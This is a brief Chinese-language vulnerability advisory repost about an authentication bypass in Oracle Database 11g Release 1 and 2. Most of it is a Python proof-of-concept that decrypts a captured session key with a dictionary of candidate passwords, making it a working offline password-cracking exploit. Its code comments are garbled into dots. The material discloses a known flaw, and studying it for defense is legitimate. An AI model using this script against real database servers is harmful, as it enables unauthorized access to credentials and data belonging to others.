Oracle Database被发现容易造成远程安全绕过漏洞,并且影响到自身的验证协议。攻击者可以利用此漏洞绕过数据库验证从而获得对数据库未经授权的访问。

受影响版本: Oracle Database 11g Release 1 and 11g Release 2

开用代码如下:

#-*-coding:utf8 -*-
      
    import hashlib
    from Crypto.Cipher import AES
      
    def decrypt(session,salt,password):
            pass_hash = hashlib.sha1(password+salt)
      
            #......... ..... ..... .......... .. 24 ....
            key = pass_hash.digest() + '\x00\x00\x00\x00'
            decryptor = AES.new(key,AES.MODE_CBC)
            plain = decryptor.decrypt(session)
            return plain
      
    #............. ........... ...... 48 ....
    session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'
      
    #.... 10 ....
    salt_hex = 'A7193E546377EC56639E'
      
    passwords = ['test','password','oracle','demo']
      
    for password in passwords:
            session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
            print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex'))
            if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
                    print 'PASSWORD IS "%s"' % password
                    break
来源source:http://www.securityfocus.com/bid/55651/discuss
源链接

Hacking more

...